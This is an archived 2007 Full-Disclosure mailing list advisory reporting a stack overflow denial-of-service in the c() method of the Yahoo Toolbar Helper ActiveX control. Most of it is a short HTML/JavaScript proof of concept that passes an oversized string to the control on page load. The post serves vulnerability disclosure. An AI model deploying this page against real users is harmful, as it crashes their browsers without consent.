OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
[Full-disclosure] Yahoo Toolbar Helper c() Method Stack Overflow DoS

From: Elazar Broad (elazarbearthlink.net)
Date: Thu Nov 29 2007 - 21:56:46 CST

There is a stack overflow in the c() method of the Yahoo Toobar Helper class. This overflow does not appear to get anywhere near the EIP or SEH. PoC as follows:

----------------------
<!--
 written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

     while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-C3F9-4EFB-9B51-7695ECA05670}
      obj.c(s);
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
 </body>
</html>
----------------------

Elazar

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/